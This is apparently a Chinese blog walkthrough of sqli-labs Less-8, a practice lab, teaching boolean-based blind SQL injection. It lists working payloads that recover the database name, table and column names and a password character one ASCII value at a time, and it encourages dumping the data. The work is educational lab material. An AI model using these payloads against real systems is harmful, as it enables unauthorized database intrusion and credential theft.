less-8(布尔盲注)
关于布尔盲注,简单解释一下
布尔盲注的特质:
无回显、无报错,只返回对错状态;无回显、无报错,只返回对错状比如说 :
库名第一个字符是 a 吗?服务器:对(页面正常)
库名第二个字符是 b 吗?服务器:错(页面异常)
布尔盲注不给你答案,你只能通过页面反馈来确认对错
一些知识点
需要用到的一些函数如下
length(字符串)
作用:返回字符串的长度
用途:猜库名、表名、字段名、数据的长度
例如:
length(database()) → 库名长度 length(user()) → 用户名长度substr(字符串, 起始位置, 截取长度)
作用:截取字符串中的某一位
盲注的固定用法:
substr(字符串, N, 1)
N = 第几位
1 = 只截 1 个字符
例如:
substr(database(),1,1) → 取库名第 1 位 substr('admin',2,1) → 取 dascii(字符)
作用:把字符转成 ASCII 数字
例如:
ascii('a') → 97 ascii('1') → 49 ascii('z') → 122这些是在布尔盲注会用到的一些函数,其他涉及的我在前面的文章中进行过讲解,感兴趣的可以去看前面的文章
操作流程
由于我们在选界面已经知道是布尔盲注了,并且闭合方式为单引号
那么我们要先验证
验证布尔盲注
先进行基础的真假判断
注入,得到一个正常界面
?id=1' and 1=1 --+
再注入,发现页面异常了,那这个就是典型的布尔盲注了
?id=1' and 1=2 --+
猜数据库名的长度
注入,页面显示异常,说明数据库长度不是5
?id=1' and (length(database()))=5 --+
我后续是把5改成6,7,8进行了尝试,最后在8的时候页面正常显示了,说明数据库长度是8,中间的6,7不再进行示范
注入
?id=1' and (length(database()))=8 --+
猜数据库名称
注入,正常反馈,说明数据库第一个字符是s
?id=1' and ascii(substr(database(),1,1))=115 --+
注入,页面 正常反馈,说明第二个字母是e
?id=1' and ascii(substr(database(),2,1))=101 --+
注入,页面反馈正常,说明第三个字符是c
?id=1' and ascii(substr(database(),3,1))=99 --+
注入,页面反馈正常,说明第四个字符是u
?id=1' and ascii(substr(database(),4,1))=117 --+
注入,页面反馈正常,说明第五个字符是r
?id=1' and ascii(substr(database(),5,1))=114 --+
注入,页面反馈正常,说明第六个字符是i
?id=1' and ascii(substr(database(),6,1))=105 --+
注入,页面反馈正常,说明第七个字符是t
?id=1' and ascii(substr(database(),7,1))=116 --+
注入,页面反馈正常,说明第八个字符是y
?id=1' and ascii(substr(database(),8,1))=121 --+
那么我们可以得知数据库名称是security
爆表名
依旧是需要猜
注入,异常显示,说明第一个表名长度不是5
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=5 --+
注入,页面反馈正常说明第一个表名长度是6
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
猜表名的每一位
注入示例如下,因为太过麻烦费时间,这里我不一一演示了,注入语句中的ASCII值需要师傅们灵活变通
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=97 --+
在之前的靶场通关中,我们已经知道了表名是users,那我们就进行长度确认
注入,说明表名确实是users
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5 --+
爆字段
师傅们可以根据这个进行尝试,我这里不做过多赘述和示例了
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=8 --+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+
爆数据
注入,这个是猜数据第一个字符是什么,68是d
?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
然后师傅们可以根据我这个语句一个一个试,进行数据的脱库
小tips:
ASCII 常用的如下
数字 0-9:48-57
大写字母 A-Z:65-90
小写字母 a-z:97-122
ASCII码表(0-127)
| ASCII | 字符 | ASCII | 字符 | ASCII | 字符 | ASCII | 字符 |
|---|---|---|---|---|---|---|---|
| 32 | 空格 | 48 | 0 | 65 | A | 97 | a |
| 33 | ! | 49 | 1 | 66 | B | 98 | b |
| 34 | " | 50 | 2 | 67 | C | 99 | c |
| 35 | # | 51 | 3 | 68 | D | 100 | d |
| 36 | $ | 52 | 4 | 69 | E | 101 | e |
| 37 | % | 53 | 5 | 70 | F | 102 | f |
| 38 | & | 54 | 6 | 71 | G | 103 | g |
| 39 | ' | 55 | 7 | 72 | H | 104 | h |
| 40 | ( | 56 | 8 | 73 | I | 105 | i |
| 41 | ) | 57 | 9 | 74 | J | 106 | j |
| 42 | * | 58 | : | 75 | K | 107 | k |
| 43 | + | 59 | ; | 76 | L | 108 | l |
| 44 | , | 60 | < | 77 | M | 109 | m |
| 45 | - | 61 | = | 78 | N | 110 | n |
| 46 | . | 62 | > | 79 | O | 111 | o |
| 47 | / | 63 | ? | 80 | P | 112 | p |
| 64 | @ | 81 | Q | 113 | q | ||
| 82 | R | 114 | r | ||||
| 83 | S | 115 | s | ||||
| 84 | T | 116 | t | ||||
| 85 | U | 117 | u | ||||
| 86 | V | 118 | v | ||||
| 87 | W | 119 | w | ||||
| 88 | X | 120 | x | ||||
| 89 | Y | 121 | y | ||||
| 90 | Z | 122 | z | ||||
| 91 | [ | 123 | { | ||||
| 92 | \ | 124 | | | ||||
| 93 | ] | 125 | } | ||||
| 94 | ^ | 126 | ~ | ||||
| 95 | _ |
在进行布尔盲注的时候,一定要先进行真假条件的判断以及闭合方式的判断,在布尔盲注中页面的反馈确实是非常重要的
另外,布尔盲注好麻烦。我讨厌布尔盲注。